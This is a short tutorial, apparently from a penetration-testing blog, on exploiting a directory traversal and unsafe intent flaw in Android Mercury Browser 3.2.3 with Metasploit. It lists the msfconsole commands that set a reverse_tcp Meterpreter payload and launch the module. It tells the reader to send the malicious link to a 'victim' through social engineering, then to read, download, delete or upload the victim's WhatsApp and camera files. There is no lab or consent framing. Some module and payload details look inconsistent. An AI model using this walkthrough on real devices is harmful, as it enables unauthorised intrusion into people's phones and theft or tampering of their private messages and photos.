Kali Linux, Penetration Testing

Hack Android Phone WhatsApp and all Directories using Mercury Browser Vulnerability

This module exploits an unsafe intent URI scheme and directory traversal found in Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a private WIFI manager activity, which starts a web server for Mercury on port 8888. The web server also suffers a directory traversal that allows remote access to sensitive files. By default, this module will go after web view Cookies Chromium.db, web view Cookies Chromium Private.db, webview.db, and bookmarks.db. But if this isn’t enough, you can also specify the ADDITIONAL_FILES data store option to collect more files.

Exploit Targets

Android Mercury Browser version 3.2.3


Attacker: kali Linux

Victim Phone: Android

Open Kali terminal type msfconsole

Now type use auxiliary/server/android_mercury_paresuri

msf exploit (android_mercury_paresuri)>set payload android/meterpreter/reverse_tcp

msf exploit (android_mercury_paresuri)>set lhost (IP of Local Host)

msf exploit (android_mercury_paresuri)>set srvhost

msf exploit (android_mercury_paresuri)>set uripath /

msf exploit (android_mercury_paresuri)>exploit

Now an URL you should give to your victim

Go to Google Play Store in your phone and search Mercury Browser for Android and Install it.

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link ( it will show the page like given below.

Now on your phone you will get a Notification States, MERCURY WIFI ON…You will have to turn it ON.

You will see a pop up as shown below on your phone screen.

Now on your computer open browse and type IP- and press Enter. Now you will get access to all directories, files & folders which Victim has in his/her phone.

For Example If you want to access victim WhatsApp data, go to WhatsApp folder and you will see different options like Download, Delete & Upload from here you can make changes to his WhatsApp or you can upload any files. As mentioned below

Another Example, if you want to see what Images are in Camera folder use same way as mention above.

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